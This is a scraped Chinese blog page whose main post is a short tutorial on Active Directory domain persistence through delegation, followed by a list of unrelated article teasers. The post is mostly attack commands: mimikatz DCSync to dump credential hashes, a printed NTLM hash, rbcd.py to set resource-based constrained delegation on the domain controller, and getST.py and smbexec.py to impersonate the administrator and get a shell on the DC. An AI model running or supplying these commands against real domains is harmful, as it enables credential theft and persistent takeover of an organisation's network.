域内委派维权
为某个服务账户配置 krbtgt 用户的非约束性委派或基于资源的约束性委派。这里我的 krbtgt 的基于资源约束性委派我利用不了，所以使用的是域控的机器账户 dc01$ 进行维权。
抓取所有 hash。
mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:HACK.com /user:HACK\administrator /csv" "exit" 这里很多账号都是如下 hash，是因为他们的密码都是一样的。 9099d68602a60f007c227c4fa95fada6 9099d68602a60f007c227c4fa95fada6
给机器账户 dc01$ 配置 machine$ 的基于资源的约束性委派
python ./rbcd.py -f comp1 -t dc01 -dc-ip 192.168.72.21 HACKER\\administrator -hashes aad3b435b51404eeaad3b435b51404ee:9099d68602a60f007c227c4fa95fada6
以 administrator 请求 cifs/dc01.HACK.com 票据
# 以 administrator 请求 cifs/dc01.HACK.com 票据 python3 getST.py -dc-ip 192.168.72.21 HACK.com/machine$ -hashes aad3b435b51404eeaad3b435b51404ee:9099d68602a60f007c227c4fa95fada6 -spn cifs/dc01.HACK.com -impersonate administrator export KRB5CCNAME=administrator@cifs_dc01.HACK.com@HACK.COM.ccache python3 smbexec.py -no-pass -k dc01.HACK.com
相关文章：
域内委派维权
为某个服务账户配置 krbtgt 用户的非约束性委派或基于资源的约束性委派。这里我的 krbtgt 的基于资源约束性委派我利用不了，所以使用的是域控的机器账户 dc01$ 进行维权。 抓取所有 hash。 mimikatz.exe "privilege::debug" "lsadump::dcsync /doma…...
leetcode---LCR 140.训练计划
给定一个头节点为 head 的链表用于记录一系列核心肌群训练项目编号，请查找并返回倒数第 cnt 个训练项目编号。 示例 1： 输入：head [2,4,7,8], cnt 1 输出：8 提示： 1 < head.length < 1000 < head[i] <…...
Linux基础 -- ARM 32位常用机器码（指令）整理
ARM 32位常用机器码（指令）整理 1. 数据处理指令（运算、逻辑、比较） 指令含义示例备注MOV赋值（寄存器传输）MOV R0, R1直接将 R1 复制到 R0MVN取反MVN R0, R1R0 ~R1ADD加法ADD R0, R1, R2R0 R1 R2ADC带进…...
内存中的缓存区
在 Java 的 I/O 流设计中，BufferedInputStream 和 BufferedOutputStream 的“缓冲区”是 内存中的缓存区（具体是 JVM 堆内存的一部分），但它们的作用是优化数据的传输效率，并不是直接操作硬盘和内存之间的缓存。以下是详…...
基于 Spring Boot 的 +Vue“宠物咖啡馆平台” 系统的设计与实现
大家好，今天要和大家聊的是一款基于 Spring Boot 的 “宠物咖啡馆平台” 系统的设计与实现。项目源码以及部署相关事宜请联系我，文末附上联系方式。 项目简介 基于 Spring Boot 的 “宠物咖啡馆平台” 系统设计与实现的主要使用者分为 管理员、用户 和…...
LeetCode 解题思路 7（Hot 100）
解题思路： 初始化窗口元素： 遍历前 k 个元素，构建初始单调队列。若当前索引对应值大于等于队尾索引对应值，移除队尾索引，将当前索引加入队尾。遍历结束时当前队头索引即为当前窗口最大值，将其存入结果数组…...
linux-Dockerfile及docker-compose.yml相关字段用途
文章目录 计算机系统5G云计算LINUX Dockerfile及docker-conpose.yml相关字段用途一、Dockerfile1、基础指令2、.高级指令3、多阶段构建指令 二、Docker-Compose.yml1、服务定义（services）2、高级服务配置3、网络配置 (networks)4、卷配置 (volumes)5、扩…...
deepseek部署：ELK + Filebeat + Zookeeper + Kafka
## 1. 概述 本文档旨在指导如何在7台机器上部署ELK（Elasticsearch, Logstash, Kibana）堆栈、Filebeat、Zookeeper和Kafka。该部署方案适用于日志收集、处理和可视化场景。 ## 2. 环境准备 ### 2.1 机器分配 | 机器编号 | 主机名 | IP地址 | 部署组件 |-…...
微软Office 2016-2024 x86直装版 v16.0.18324 32位
微软 Office 是一款由微软公司开发的办公软件套装，能满足各种办公需求。包含 Word、Excel、PowerPoint、Outlook 和 OneNote 等软件。Word 有强大文档编辑功能和多人协作；Excel 可处理分析大量数据及支持宏编程；PowerPoint 用于制作演示文稿且…...
CMake宏定义管理：如何优雅处理第三方库的宏冲突
在C/C项目开发中，我们常常会遇到这样的困境： 当引入一个功能强大的第三方库时，却发现它定义的某个宏与我们的项目产生冲突。比如： 库定义了 BUFFER_SIZE 1024，而我们需要 BUFFER_SIZE 2048库内部使用 DEBUG 宏控制日志…...
【SpringCloud】Gateway
目录 一、网关路由 1.1.认识网关 1.2.快速入门? 1.2.1.引入依赖 1.2.2.配置路由 二、网关登录校验 2.1.Gateway工作原理 ?2.2.自定义过滤器 2.3.登录校验 2.4.微服务获取用户 2.4.1.保存用户信息到请求头 2.4.2.拦截器获取用户? ?2.5.OpenFeign传递用户 三、…...
Maven入门教程
一、Maven简介 Maven 是一个基于项目对象模型（Project Object Model）的构建工具，用于管理 Java 项目的依赖、构建流程和文档生成。它的核心功能包括： 依赖管理(Dependency Management)：自动下载和管理第三方库&#x…...
大数据与金融科技：革新金融行业的动力引擎
大数据与金融科技：革新金融行业的动力引擎 在今天的金融行业，大数据与金融科技的结合正在以惊人的速度推动着金融服务的创新与变革。通过精准的数据分析与智能化决策，金融机构能够更高效地进行风险管理、客户服务、资产管理等一系列关键操作…...
Autosar RTE配置-Port Update配置及使用-基于ETAS工具
文章目录 前言Autosar Rte中enableUpdate参数定义ETAS工具中的配置生成代码分析总结前言 在E2E校验中，需要对Counter进行自增，但每个报文周期不一样，导致自增的周期不一样。且Counter应该在收到报文之后才进行自增。基于这些需求，本文介绍使用RTE Port中的参数enableUpdat…...
【AVRCP】深入理解蓝牙音频 / 视频远程控制规范：从基础到应用
AVRCP（Audio/Video Remote Control Profile）作为蓝牙音频 / 视频控制领域的重要规范，通过其完善的协议架构、丰富的功能分类以及对用户需求的深入考量，为我们带来了便捷、高效的音频 / 视频设备控制体验。无论是在日常生活中的音乐…...
AWS SQS跨账户访问失败排查指南
引言 在使用AWS SQS（Simple Queue Service）时，跨账户访问是常见的业务场景。例如，账户A的应用程序向队列发送消息，账户B的消费者从队列拉取消息。尽管AWS官方文档明确支持此类配置，但在实际应用中，由于权限模型的复杂性，开发者和运维人员常会遇到“策略已配置但无法接…...
算法训练（leetcode）二刷第三十八天 | 1143. 最长公共子序列、1035. 不相交的线、53. 最大子数组和、392. 判断子序列
刷题记录 1143. 最长公共子序列1035. 不相交的线53. 最大子数组和动态规划优化版 392. 判断子序列 1143. 最长公共子序列 leetcode题目地址 本题和300. 最长递增子序列相似（题解）。 使用动态规划： dp数组含义：dp[i][j]表示 以…...
【JavaWeb学习Day20】
Tlias智能学习系统 员工登录 三层架构： Controller：1.接收请求参数（用户名，密码）2.调用Service方法3.响应结果 具体实现： /*** 登录*/ PostMapping("/login") public Result login(Reque…...
2024年12月中国电子学会青少年软件编程（Python）等级考试试卷（二级）真题 + 答案
青少年软件编程（Python）等级考试试卷（二级） ↓↓↓↓↓↓ 模拟 分数：100 题数：37 一、单选题(共25题，共50分) 1. 已知字典如下 dic1 = { name: Ming, age:20, grade: A, Tel:6666666 } 以下哪个代码运行结果为20？（ ） A. dic1(age) B. dic1[1] C. dic1(20) D. dic1[ag…...
一、对iic类模块分析与使用
bmp280驱动代码 说明： 1、该模块用于获取气压，温度，海拔等数据。 vcc，gnd接电源 sda ，scl 接iic通信引脚 2、该模块使用iic通信，通过iic发送请求相关类的寄存器值，芯片获取对应寄存器返回的数据…...
物理视角下的神经网络：从表达性、统计到动力学的统一理解框架
1. 从物理视角看神经网络：为什么我们需要新的理解框架 如果你和我一样，在实验室里泡了十几年，从早期的多层感知机一路跟到现在的Transformer和扩散模型，你可能会有一个强烈的感受：我们手里的工具越来越强大，…...
贝叶斯网络学习前置课程:概率论基础概念 CS188 Note11 学习笔记
更好的阅读体验 这一个Note包括的内容基本上与高中数学所涵盖的概率部分无差异，所以说下的功夫少一点，不过多解释了 Probability Rundown Random Variables & Distributions 首先了解的就是概率的表示方式:P(A)表示未知事件A发傻鞥的概率&#x…...
基于CNN的口腔鳞状细胞癌智能检测系统开发
1. 口腔鳞状细胞癌检测的技术挑战与解决方案口腔鳞状细胞癌（OCSCC）作为头颈部最常见的恶性肿瘤，其早期诊断面临三大技术瓶颈：首先是病灶的隐蔽性，早期病变常表现为微小白色斑块或溃疡，与普通口腔炎症难以区…...
高维数据压缩：秩-1格点与双曲交叉方法原理与应用
1. 项目概述：高维数据压缩的格点与双曲交叉方法在科学计算和工程仿真中，我们常常需要处理由海量样本点构成的高维数据集。想象一下，你正在模拟一架飞机的气动性能，或者评估一个复杂金融模型的风险，每一次仿真都可能产生…...
机器学习与模拟退火算法优化TPMS结构材料力学性能
1. 项目概述与核心价值在材料科学与先进制造领域，三周期极小曲面（Triply Periodic Minimal Surfaces, TPMS）结构正掀起一场设计革命。这类结构以其在三维空间内周期性重复、且具有极小表面积的特点，展现出传统实体材料难以企及的优…...
高熵合金熔化温度计算：EAM+MTP+FEP混合框架实现高精度低成本预测
1. 项目概述：为什么高熵合金的熔化温度计算是个“硬骨头”？在材料研发的前沿，高熵合金（HEAs）以其独特的“鸡尾酒效应”和优异的力学性能、耐腐蚀性及高温稳定性，吸引了无数研究者的目光。然而，当…...
RD-VLA：机器人动态思考的潜在空间迭代推理架构
1. 项目概述：为什么我们需要一个会“思考”的机器人模型？在机器人控制领域，我们一直梦想着能造出一个像人一样“聪明”的助手：让它去拿杯水，它能轻松完成；让它在一个杂乱无章的抽屉里找出并组装一个小零件&…...
去偏机器学习在交通行为因果推断中的应用：从关联分析到因果效应评估
1. 项目概述：当交通研究遇上因果推断在交通工程与城市规划领域，我们常常面临一个核心挑战：如何从海量的观测数据中，剥离出某个特定因素（比如一项新政策、一种交通管控措施）对人们行为的“真实”影响&#x…...
用Python处理DREAMER脑电数据集：从.mat文件到.npy文件的完整实战教程
用Python处理DREAMER脑电数据集：从.mat文件到.npy文件的完整实战教程在情感计算与神经科学交叉领域，DREAMER数据集因其同时包含脑电信号（EEG）和情感评分而备受研究者青睐。但原始数据以.mat格式存储，这种MATLAB专属格式…...
鸿蒙electron跨端框架PC导出管家实战：把交付前的检查、复制和导出做成一个工坊
前言 欢迎加入鸿蒙PC开发者社区，共同打造开发者工具生态：鸿蒙PC开发者社区 ：https://harmonypc.csdn.net/ 项目开源地址：https://AtomGit.com/lqjmac/ele-daochuguanjia 我做 导出管家 时最先确认的，不是颜色和布局…...